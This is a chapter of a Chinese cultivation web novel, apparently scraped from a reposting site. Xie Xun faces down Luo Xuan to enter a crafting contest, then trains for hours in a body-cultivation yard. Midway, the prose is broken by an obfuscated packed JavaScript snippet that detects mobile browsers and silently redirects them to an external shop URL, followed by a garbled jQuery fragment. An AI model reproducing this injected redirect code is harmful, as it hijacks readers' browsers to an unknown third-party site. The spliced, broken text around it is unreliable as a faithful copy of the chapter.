文趣网 > 其他小说 > 全师门都在等卷王捞人 > 50. 第 50 章
    林晚晴有些担心,几步走近,低声问她有没有正式拜入器堂。

    谢寻摇头问她怎么了,林晚晴将刚才听到的话一一说与她听。又说朱执事现在不在器堂,让她当心。

    谢寻安抚道:“放心,他卡不了我。”

    林晚晴还是有些不放心,索性陪她一起排队,生怕洛轩使绊子。

    审核台上,洛轩半晌没拿到纸,蹙眉看着面前的人,有些眼熟,有人立马小声提醒他,这就是那个暗中提醒谢寻报名弟子。

    洛轩身子后仰,转了下笔,抬着下巴道:“你去和谢寻说,她不是器堂的弟子不能参与此次报名。”

    “还有。”他想了下,声音带着几分倨傲:“若她现在认输,我可以原谅她的放肆。”

    “洛师兄,这是我的报名表。”赵成没动,将手里的报名表递过去,继续说:“谢师姐是否有资格,应按宗门规矩来。”

    洛轩的脸色一沉,没再多说,不耐烦地接过报名表,草草扫了一眼便丢在一旁。

    谢寻走到登记处,递上令牌:“弟子谢寻,报名参与器道争锋赛。”

    登记处的弟子一怔,笔杆悬在报名表上。抬头看看谢寻,又扭头去看洛轩,不敢擅自做主。

    洛轩将报名表搁在一旁,椅背向后一仰,扬声道:“非器堂弟子不得参与,规矩摆在这,我劝你还是趁早回去。”

    声音不大,却带着几分刻意的倨傲,恰好传遍半个器堂。原本还在低声议论的弟子们瞬间安静,洛师兄这么说位面太不近人情了。

    赵成想上前理论,谁不知道朱执事一直想收谢师姐为徒,不过一直没过明路罢了。

    他一动,旁边有人扯着他的胳膊低声提醒:“别冲动。”

    谢寻听到这句,抬脚过去。她身形不算高大,却带着一股无形的压迫感,走到洛轩面前站定问:“我能不能报名你不知道?”

    洛轩脸色一沉,拍案而起:“谢寻,你一个外门弟子,也敢在我面前放肆?”

    他的声音又急又厉,想借此震慑住谢寻,却见谢寻嘴角勾起一抹笑:“洛师兄意思是,我不能报名此次器道争霸赛?”

    洛轩不敢轻易接话,转而道:“若你保证往后不在器堂纠缠,也别再觊觎我,也不是不能给你一次机会。”

    谢寻:“……”

    人无语的时候真的会笑。

    周遭弟子慌忙转头,恨不得装作不认识洛轩。

    他们能接受洛轩目中无人,但受不了他现在这模样。

    负责登记的弟子最后悔,早知直接给谢寻报名了!

    谢寻半晌找回声音,目光紧盯着洛轩:“看来,洛师兄是要阻止我参赛了?”

    “谢寻,你别把自己太当回事。”台下有人嗤笑道:“你本来就不能报名,洛师兄又没说错,是吧洛师兄?”

    他说完扭头去看洛轩,等着洛轩表扬。

    结果洛轩脸色更难看了,他说错什么了?这谢寻本来就不能参加考核啊。

    谢寻指尖灵力一动,淡黄色的传音符亮起,一道沉稳的声音透过传音符传开:“小谢,我已传信洛轩,你只管报名,他不会阻拦。

    周遭瞬间落针可闻,所有弟子的目光都齐刷刷地落在洛轩身上。

    随即艳羡的看向谢寻,他们数百人抢两个免费的机会,凭什么谢寻一来就能直接获得内定名额!

    就凭她上课认真?就凭她修器的天赋不错?能把废弃的残次品修得比新品还灵光?就凭她……

    众人说不下去了,换作自己不给这样的人机会,似乎都说不过去。

    谢寻只看着洛轩轻声道:“利用审核、监考等工作之便,致使修士未能如期参加考核的,应当停止其参加各项考核工作,并扣除一年月例;情节严重者,由刑堂依律追任”

    洛轩僵在座位上,方才的盛气凌人荡然无存,手里的笔啪嗒掉在地上,滚到谢寻脚边,发出清脆的声响。

    审核台上的其他核心弟子面面相觑,没想到洛轩收到朱只是传信,还敢卡人。

    没人敢出声解围,只能低头假装整理报名表,眼角的余光却忍不住往这边瞟。

    谢寻弯腰捡起那支玉笔,用只能两人听见的声音说:“洛师兄,还是没长教训啊。”

    谢寻明明在笑,洛轩却能感觉到谢寻身上散发出来的压迫感。

    登记处的弟子反应过来,连忙捧着报名表小跑过来。

    她接过报名表,提笔在上面填写,一笔一划都透着沉稳。

    “活该打他脸。”林晚晴凑到她身边,压低声音:“丹堂弟子炼丹常有炸炉的情况,可没少被他讥讽。”

    谢寻将填好的报名表递回去,又把那支玉笔轻轻放在审核台上。

    “洛师兄,期待我们同台的较量的那天。”说罢,她停下脚步:“对了,得空去看看脑子吧。”

    声音不大,却恰好能让审核台上的洛轩听得一清二楚。

    说完转身与林晚情并肩离去,白发在阳光下划过一道银白的弧线,背影挺拔。

    谢寻刚出门,就看见迎面遇上朱执事,朱晨眉头紧皱,抬脚往里走。

    谢寻下午就听林晚情说洛轩被朱执事关了禁闭,不到器道争锋赛不得外出。

    她知道这是朱执事在为自己出气,也是在保护洛轩。

    谢寻与洛轩的冲突,被器堂的人瞒得死死的,并未引起波折。倒是宁玉给谢寻传音,约了她和林晚情饭见一面。

    宁玉身边跟着的还是上次的小姑娘,她托腮看着谢寻:“执事说等我实力再稳定一些,就可以去演武场试试。”

    “我师傅说了,不吃修炼上的苦,以后出去就要吃修行上的苦。”林晚晴说完看着她俩。

    谢寻昨夜有所突破,寅时才躺下,伸了个懒腰,浑身的疲惫仿佛都随着睡眠消散。

    看着林晚晴递过来的修炼计划表,她捧着林晚情的脸看了几圈,问:“你真是林师姐?”

    林晚晴脸一红:“还有两个月就比试了,你不吃点苦怎么赢。”

    谢寻想都没想就摆手:“我选不吃苦。”

    林晚晴:“没有这个选项!”

    “你难道没听说过一句话。”谢寻一脸认真地看她:“只要你能吃苦,你就会有吃不完的苦。”

    “谁说的?”林晚晴歪头想了下,她好像从来都没听说这种。

    “我。”谢寻伸手指指自己,将旁边小姑娘从饭盘里解救出来,继续说:“谢某语录,诚不欺人。”

    这话可是谢寻的切身体验!要不是她当时装了那么一手,也不至于现在拼命。

    宁玉刚听了传音符,没听清两人的话,问:“谁哭了?”

    谢寻:“……我是说,不要没苦硬吃,别给自己找罪受,懂?”

    林晚情被逗笑了:“这都什么跟什么呀。”

    话虽如此,谢寻还是做了修炼计划表。

    报名后几日,谢寻几乎天天泡在修器房里,对着一堆旧器反复拆解、修补,怕手感生疏。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541949|203952||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    林晚情连着几日都没见到她的人影,生怕她光顾着修器忘了炼体,索性直接冲到她的屋舍里,将她从一堆零件中揪去炼体。

    谢寻还没来得及反抗,就被林晚情拽着胳膊往外走。半路转过一道山弯,就看到常乐正揪着常硕的耳朵,把人往炼体坪的方向拖。

    常硕没看到谢寻和林晚情,嘴里一直嚷个不停:“姐,我堂堂七尺男儿被你这么揪着,我不要面子啊。”

    常乐没好气在他头上瞧了一记,他瞬间老实了,耷拉着脑袋。

    转过拐角,看见同样被林晚情揪着的谢寻,忍不住嘿嘿笑起来。谢师姐也有被人揪着的一天,不是他一个人要遭罪,心里莫名平衡起来。

    谢寻忽略他看热闹的目光,直接上了炼体坪盘腿坐下,按照常乐所说的法门,引导周身灵力缓缓游走于四肢百骸。

    炼体坪一时间只剩下均匀的呼吸声和微弱的灵力波动。

    不到半日,整间演武便知道五号擂场来了个狠人,一来就练了四个时辰!

    起初,炼体坪里的其他弟子练了两个时辰,准备起身离开。刚走到门口就看到谢寻还在炼体,又默默走回去。

    谢师妹还在炼,他们转身就走,说出去岂不是很没面子。

    他们想,谢师妹哪怕多练,应该也就是多炼一会儿吧。

    可事实证明,他们还是太天真了,三个时辰过去了,谢寻她还在炼!

    “我要撑不住了,”一个灰衣男子揉着发酸的腿,凑到旁边几人身边问:“常乐呢?她到底是怎么和谢师妹说的?让她炼这么久,是想把人炼废吗?”

    周可从旁边凑过来,比了个嘘的手势,低声道:“她好像出去了。”

    “她出去了?”灰衣男子声音顿时响了,被周可敲了一记,提醒他别打扰到谢寻。

    灰衣男子立马压低声音:“她拍屁股走了,我们怎么办?”

    又过一炷香,他实在熬不住,戳了下周可:“走吗?”

    周可摇头,炼体坪历来的规矩就是,新人来的第一月,老生需得为其做个榜样。最开始是陆执事的一句话,后来就成了大家约定俗成的习惯。

    周可看了眼时间给刑堂的人发消息,让他们先去接任务,别等她。

    其实早走也行,就是传出去,他们炼体竟连新人都比不过,岂不是很丢人。

    另一边,常乐处理完事情,打开传音符看到一堆来自炼体坪弟子的哀嚎:“常师姐,你到底怎么和谢寻说的?”

    “四个时辰了,她还在练,不会出什么事儿吧。”

    “嗯?!”常乐反应过来,瞳孔微颤,早听说谢师妹在修炼上卷,没想到这么卷!

    四个时辰,她不要休息的吗?

    常乐回想临走前的叮嘱,确定她没说错,回道:“就和我们一样啊,炼六个时辰就行。”

    常乐说了一半,看常硕要跑,将他一把按住:“我马上回来,回来再说。”

    “姐!”常硕说着往后跑:“你是我亲姐,我今天可练三个时辰了!”

    “假的才懒得理你,”常乐转了转拳头,充满爱的拳头径直落在常硕身上,快乐的声音传遍刑堂。

    解冰掀了掀眼皮,想着常硕最近的偷懒行为,确实该收拾收拾。

    周可的传音符突然震动了一下,她问听完咽了下口水。

    回常乐:“你说有没有一种可能,你没和谢师姐说清楚,你说的六个时辰是六日每日一个时辰,不是一日六个时辰。”